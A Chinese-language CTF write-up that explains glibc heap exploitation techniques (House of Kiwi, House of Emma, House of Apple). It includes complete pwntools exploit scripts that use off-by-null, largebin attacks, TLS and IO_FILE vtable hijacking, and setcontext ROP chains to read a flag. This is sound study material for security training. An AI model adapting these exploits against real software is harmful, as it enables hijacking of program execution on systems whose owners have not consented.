house系2

这里我们续接上回,https://blog.csdn.net/njh18790816639/article/details/126235581
接着分析高版本的Glibc利用手法,而高版本的利用手法,大都涉及到了io_file以及虚表这类函数指针等

House_OF_Kiwi

这篇文章house of kiwi介绍了这种手法,我们有了上篇的基础,那么这里我们便能快速入门,了解这种手法是如何进行攻击的;当然,我们依旧从调用链上来查看其深层原因;我们不仅要知其然,还要知其所以然;

相信我们对这个函数已经很熟悉了,上回house of cat采用了__fxprintf函数-》_vfxprintf函数-》vfprintf函数-》伪造vtable表偏移进入_IO_wfile_seekoff函数-》_IO_switch_to_wget_mode函数,最终位于_IO_switch_to_wget_mode执行函数;
而本次将不再利用__fxprintf函数,同时不会伪造io_file了;
我们将利用fflush该函数;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}

我们跟踪函数,查看深层原因,fflush背后究竟是什么?

#define fflush(s) _IO_fflush (s)

int
_IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}
libc_hidden_def (_IO_fflush)
如下为汇编部分,此时rbp储存着0x7f1ac077e4c0 (_IO_file_jumps)该虚表,最终
   0x7f1ac0617d45 <fflush+117>    mov    rcx, rbp
   0x7f1ac0617d48 <fflush+120>    sub    rcx, rdx
   0x7f1ac0617d4b <fflush+123>    cmp    rax, rcx
   0x7f1ac0617d4e <fflush+126>    jbe    fflush+216                <fflush+216>

   0x7f1ac0617d50 <fflush+128>    mov    rdi, rbx
 ► 0x7f1ac0617d53 <fflush+131>    call   qword ptr [rbp + 0x60]        <setcontext+61>
        rdi: 0x7f1ac077d5e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
        rsi: 0x7ffedb61cd20 ◂— 0x616d203a6e69616d ('main: ma')
        rdx: 0x7f1ac077d8c0 (_IO_helper_jumps) ◂— 0x0
        rcx: 0xc00

   0x7f1ac0617d56 <fflush+134>    xor    r8d, r8d
   0x7f1ac0617d59 <fflush+137>    test   eax, eax
   0x7f1ac0617d5b <fflush+139>    setne  r8b
   0x7f1ac0617d5f <fflush+143>    neg    r8d
   0x7f1ac0617d62 <fflush+146>    test   dword ptr [rbx], 0x8000

如果我们能够修改 _IO_SYNC 函数为我们想要执行的函数,并且设置偏移0x60为setcontext函数,那么就相当于利用了SROP,同时修改rdx: 0x7f1ac077d8c0 (_IO_helper_jumps)之中偏移0xa0以及0xa8为我们的rsp,以及返回地址ret_addr;
此时我们便可以执行orw获取flag(沙盒保护),获取直接system获取权限;

此时我们来看例题,NepCTF 2021赛事中NULL_FxCK,该题目非常精妙(变态);(GLIBC2.32)
利用ida分析中,发现edit存在off by null
在这里插入图片描述
这里我们就要使用高版本中的GLIBC的off by null来造成堆块重叠,以此来泄露libc以及heap地址,然后利用largebin attack修改TLS指针指向已知的堆地址,此时劫持TLS,修改io_file_jumps以及io_helpre_jumps和top_chunk的size域;
总结: off by null -> largebin_attack -> 劫持tls -> house of kiwi;
整体流程较为麻烦;

第一步,公式化0->3->5->2,此时我们可以想象的到,3号堆块一定残留下来了指针fd->ck0 bk->ck5,那么我们接下来需要做的事情便是修复0号堆块的bk指向3号堆块,5号堆块的fd指针指向3号堆块;此时方能绕过检查,造成一个大的重叠堆块

add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck0->ck5->ck2
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#修改ck3的size域
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+部分(ck3)  largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5    bins为空

第二步,则是修改fwd->bk以及bck->fd来绕过检查,并进行unlink,从而泄露地址;

#修复1
delete(3)# ck0
delete(2)# 部分(ck3)    unsortedbin: ck0->部分(ck3)
add(0x418,b'a'*0x9)#2   ck0 修复fwd->bk
add(0x418)#3 部分(ck3)
#修复2
delete(3)# 部分(ck3)
delete(5)# ck5          unsortebin: 部分(ck3)->ck5
add(0x9f8)#3 ck7 largebin:部分(ck3)->ck5     此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')# off by bull
add(0x418)#7  部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9   largebin: 0x1251 ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
heap_base = show(5)-0x2b0
io_file_jumps   = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr       = libc_base+libc.sym['open']
read_addr       = libc_base+libc.sym['read']
write_addr      = libc_base+libc.sym['write']
pop_rdi_ret     = libc_base+0x000000000002858f
pop_rsi_ret     = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr        = libc_base+0x0000000000026699

第三步,该步骤比较简单,写入ROP链即可;

# rop_chain
rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
rop_chain = flat([
    pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
    pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
    pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00'

tls = libc_base+0x1EB578
add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
delete(0)# ck2+部分(ck3) 0x451
add(0x440,rop_chain)#0 ck2+部分(ck3)  写入ROP链

第四步,构造largebin_attack的堆风水,修改tls的指针指向已知堆地址;

# largebin_attack
add(0x418)#11   ck11
add(0x208)#12   ck12
delete(5)# ck5 0x431
delete(4)# ck4 0x1251 ck5位于ck4内部
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418]  largebin[0x431]
add(0x500)#5 ck13   largebin_attack:tls->ck11
add(0x410)#11 ck11  unlink_chunk tls->ck5

第五步,申请tls指针指向的堆块,并往其中写入tcache指向io_file_jumps、io_helper_jumps+0xa0、top_chunk-0x10,此时我们申请小堆块,修改这些内容,完成最终的利用;

# 劫持TLS
delete(4)#  0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域  触发asser
success(hex(tls))
success("heap_base -> "+hex(heap_base))
success("libc_base -> "+hex(libc_base))
pwndbg()
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))

最终exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './main'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

def add(size=0x108,payload=b'/bin/sh\x00'):#32
    r.sendlineafter(">> ",'1')
    r.sendlineafter("(: Size: ",str(size))
    r.sendafter("(: Content: ",payload)

def edit(index,payload):
    r.sendlineafter(">> ",'2')
    r.sendlineafter("Index: ",str(index))
    r.sendafter("Content: ",payload)

def delete(index):
    r.sendlineafter(">> ",'3')
    r.sendlineafter("Index: ",str(index))

def show(index):
    r.sendlineafter(">> ",'4')
    r.sendlineafter("Index: ",str(index))
    return u64(r.recv(6).ljust(8,b'\x00'))
def pwndbg():
    gdb.attach(r)
    pause()

add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck0->ck5->ck2
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#修改ck3的size域
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+部分(ck3)  largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5    bins为空
#修复1
delete(3)# ck0
delete(2)# 部分(ck3)    unsortedbin: ck0->部分(ck3)
add(0x418,b'a'*0x9)#2   ck0 修复fwd->bk
add(0x418)#3 部分(ck3)
#修复2
delete(3)# 部分(ck3)
delete(5)# ck5          unsortebin: 部分(ck3)->ck5
add(0x9f8)#3 ck7 largebin:部分(ck3)->ck5     此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')# off by bull
add(0x418)#7  部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9   largebin: 0x1251 ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
heap_base = show(5)-0x2b0
io_file_jumps   = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr       = libc_base+libc.sym['open']
read_addr       = libc_base+libc.sym['read']
write_addr      = libc_base+libc.sym['write']
pop_rdi_ret     = libc_base+0x000000000002858f
pop_rsi_ret     = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr        = libc_base+0x0000000000026699

# rop_chain
rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
rop_chain = flat([
    pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
    pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
    pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00'

tls = libc_base+0x1EB578
add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
delete(0)# ck2+部分(ck3) 0x451
add(0x440,rop_chain)#0 ck2+部分(ck3)  写入ROP链
# largebin_attack
add(0x418)#11   ck11
add(0x208)#12   ck12
delete(5)# ck5 0x431
delete(4)# ck4 0x1251 ck5位于ck4内部
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418]  largebin[0x431]
add(0x500)#5 ck13   largebin_attack:tls->ck11
add(0x410)#11 ck11  unlink_chunk tls->ck5
# 劫持TLS
delete(4)#  0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域  触发asser
success(hex(tls))
success("heap_base -> "+hex(heap_base))
success("libc_base -> "+hex(libc_base))
pwndbg()
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))

r.interactive()

参考链接:
pwn题null_fzck学习house of wiki
House of Kiwi


House _OF _Emma

原链接,作者给出了一种位于高版本中的利用手法,这里我们接着分析,该手法调用了那些函数?
但是题目附件并没有?

这里我们先来看一些极其相似的函数,分别是_IO_cookie_read、_IO_cookie_write 、_IO_cookie_seek 、_IO_cookie_close 这四个函数:

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}
//这里我们就看_IO_cookie_read该函数即可,其他函数与该函数相似,利用方式相同,就不重复放上去了;...

但是这里存在着一个加密,该加密与tcache的fd指针加密方式相同:

#  define PTR_DEMANGLE(dst, src, guard, tmp)	\
  PTR_MANGLE (dst, src, guard, tmp)

#  define PTR_MANGLE(reg)	xor __pointer_chk_guard_local(%rip), reg;    \
				rol $2*LP_SIZE+1, reg

如果我们能够控制这个__pointer_chk_guard_local内容为我们已知的数据,那么加密在我们面前形同虚设;

这个则是第七届“湖湘杯” House _OF _Emma的exp,相对比较简单,通过两次largebin_attack修改了stderr指针以及__pointer_chk_guard_local指针内容,从而位于_IO_cookie_write函数之中劫持程序流,利用setcontext函数完成SROP,进而orw泄露flag;

from pwncli import *
context(log_level='debug',os='linux',arch='amd64',endian='little')

binary = './pwn'
r = process(binary)
elf = ELF(binary)
libc = elf.libc

payload = b''
def add(idx,size): # 0x10
    global payload
    payload += b'\x01'+p8(idx)
    payload += p16(size)

def free(idx):
    global payload
    payload += b'\x02'+p8(idx)

def show(idx):
    global payload
    payload += b'\x03'+p8(idx)

def edit(idx,pload:bytes):
    global payload
    payload += b'\x04'+p8(idx)
    payload += p16(len(pload))
    payload += pload

def send():
    global payload
    r.sendafter("Pls input the opcode\n",payload+b'\x05')
    payload = b''


# leak
add(0,0x480)# 防止合并
add(0,0x480)# UAF leak地址
free(0)
add(1,0x480)
add(2,0x480)
add(3,0x490)
add(4,0x490)
add(5,0x500)
add(6,0x500)
free(6)
add(7,0x410)
free(1)
free(3)
free(5)# unsoredbin: ck1->ck3->ck5
add(5,0x500)# largebin: ck1->ck3
show(1)
show(3)
send()
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1F30D0
r.recvuntil("Show Done\n")
heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x2730
io_stderr   = libc_base+libc.sym['stderr']
pointer_chk = libc_base-0x2890
setcontext  = libc_base+libc.sym['setcontext']+61
gadget_addr = libc_base+0x146020  
'''
   0x00007f9398468020 <+528>:   mov    rdx,QWORD PTR [rdi+0x8]
   0x00007f9398468024 <+532>:   mov    QWORD PTR [rsp],rax
   0x00007f9398468028 <+536>:   call   QWORD PTR [rdx+0x20]
'''
rcx_ret     = libc_base+0x000000000002d446
pop_rax_ret = libc_base+0x00000000000446c0
pop_rdi_ret = libc_base+0x000000000002daa2
pop_rsi_ret = libc_base+0x0000000000037c0a
pop_rdx_r12_ret = libc_base+0x00000000001066e1
syscall     = libc_base+0x883b6

add(1,0x480)# largebin: ck3
free(1)
edit(3,p64(libc_base+0x1F30D0)*2+p64(0)+p64(io_stderr-0x20))
send()# largebin_attack     stderr:ch3_addr

add(1,0x480)# largebin: ck3
free(1)
edit(3,p64(libc_base+0x1F30D0)*2+p64(0)+p64(pointer_chk-0x20))
send()# largebin_attack     __pointer_chk_guard_local:heap_base+0x2730

io_file = IO_FILE_plus_struct()
io_file._mode = 0
io_file._lock = heap_base+0x100
io_file.vtable = libc_base+libc.sym['_IO_cookie_jumps']+0x40
rop = ([
    pop_rdi_ret,heap_base+0x3050+0x110,pop_rsi_ret,0,pop_rdx_r12_ret,0,0,pop_rax_ret,2,syscall, # open("flag")
    pop_rdi_ret,3,pop_rsi_ret,heap_base,pop_rdx_r12_ret,0x50,0,pop_rax_ret,0,syscall, # read(3,buf,0x50)
    pop_rdi_ret,1,pop_rax_ret,1,syscall # write(1,buf,0x50)
])
exp = flat({
    0: bytes(io_file)[0x10:] ,
    0xd0: heap_base+0x3050+0xe0 ,
    0xd8: heap_base+0x3050+0xe8 ,
    0xe0: (gadget_addr^(heap_base+0x3050))<<0x11 ,
    0xf8: setcontext ,
    0x100: b'flag\x00\x00\x00\x00' ,
    0x178: heap_base+0x3050+0x1a0 , # rsp
    0x180: rcx_ret , # rip
    0x190: rop
})
add(1,0x480)
edit(3,exp)
send()

edit(6,b'a'*0x418+p64(0x22))
add(8,0x500)
success(hex(heap_base))
success(hex(libc_base))
gdb.attach(r,'b _IO_cookie_write')
pause()
send()

r.interactive()

House of apple

我更愿称之为目前高版本集大成手法,该手法相当于集合了前面house of ???的大成者,仅仅需要利用一次largebin_attack来完成一次任意地址写即可,先给出步骤,很简单,修改 IO_list_all_ 为堆地址(可控地址),然后我们布置一下 io_file 的布局,并且利用 _chain 指针指向下一个伪造的 io_file ,如果说第一个 io_file 能执行一个函数(可控的),那么第二个 io_file 就能执行第二个函数(可控的);

这里相当于可以结合以前的一个house来结合利用,但是条件却没有那么多了;

这里就采用roderick师傅题目附件oneday;刚开始比较简单构造出堆块重叠的的形式;
利用一次写来完成对多个io_file的伪造,以及对largebin的bk_nextsize的修改,然后利用largebin_attack修改_IO_list_all指向堆地址(可控地址),并通过exit函数中的_IO_cleanup函数完成对几个伪造的io_file利用;
这里采用了原文件exp进行调试分享,故不分享exp,进而分享调试过程,以及调用链;

  1. 该方式是利用largebin_attack攻击_IO_list_all指向堆地址(可控地址),伪造出三个fake_io_file结构体;第一个伪造的结构体vtable为_IO_wstrn_jumps,调用函数为_IO_wstrn_overflow;第二个伪造的结构体vtable指向_IO_cookie_jumps,调用函数为_IO_cookie_read;

在这里插入图片描述
这个时候可以发现我们在进入_IO_wstrn_overflow函数之中,发现__pointer_chk_guard_local还是随机数(未知数),这里我们通过伪造fp->_wide_data指针指向我们的__pointer_chk_guard_local,那么在这个函数结束后,则__pointer_chk_guard_local将会该改为堆地址(已知)

在这里插入图片描述
此时第一个伪造的结构体经历了一个可控的函数,修改了__pointer_chk_guard_local数值为已知值;那么第二个伪造的结构体进入的函数为_IO_cookie_read;
在这里插入图片描述
这里我们可以看出解密过程,以及jmp rax;
在这里插入图片描述
在这里插入图片描述
之后我们再通过一些gadget,进行栈转移即可,此时栈也被劫持到堆地址上了;
在这里插入图片描述
最终变成了简单的ROP;相当于利用了两次可控函数,完成了劫持栈,并ROP执行我们想要的内容;

  1. 利用方式二,此时我们需要伪造三个fake_io_file,通过三个函数(可控的),来完成劫持程序流;

在这里插入图片描述
首先通过伪造第一个fake_io_file,执行_IO_wstrn_overflow函数,伪造fp->_wide_data指针指向tls指针,修改tls指针为堆地址(可控地址)

在这里插入图片描述
此时通过第二个伪造的fake_io_file来执行_IO_str_overflow函数,通过连续的malloc、memcpy、free函数(此时申请的malloc为tcache大小,提前布置好堆块上的位置,可以申请到_IO_str_jumps,并修改内容为gadget),进而修改掉_IO_str_jumps(可写)内容指向gadget,从而劫持程序流;
而第三个伪造的fake_io_file用来执行已经被修改过的_IO_str_jumps内部函数,进而劫持到了程序流;

  1. 该利用方式就比较简单,仅仅需要伪造一个fake_io_file即可,主要需要伪造_wide_data该结构体,因为我们将会使用到该结构体之中的vtable指针劫持程序流;
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);//最终我们需要执行该函数,所有需要绕过路上的一些检查
	  _IO_free_wbackup_area (f);
	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);...
	}
      else
	{...
	}
  return wch;
}
libc_hidden_def (_IO_wfile_overflow)

而_IO_wdoallocbuf函数的具体实现也很简单,如下所示,这里使用到了_wide_data结构体的vtable,但是这个vtable却没有合法性检测;故我们可以使其指向任何位置

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//我们需要执行到_IO_WDOALLOCATE()函数即可
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

这里可以看出与house of cat太过相似了,或者说hosue of cat便是从此处引出的;进入的是<_IO_wfile_overflow>函数,跟踪看看!
在这里插入图片描述
跟踪到<_IO_wdoallocbuf>函数,此时我们可以发现rdi即使我们传入的"hack!"字符串,其实就是fp->flags
在这里插入图片描述
最终执行_wide_data结构体的vtable偏移0x68,此时我们修改此处为puts,则将执行puts函数功能,相当于我们劫持到了程序流;
在这里插入图片描述

posted @ 2022-09-18 17:53  望权栈  阅读(33)  评论(0编辑  收藏  举报  来源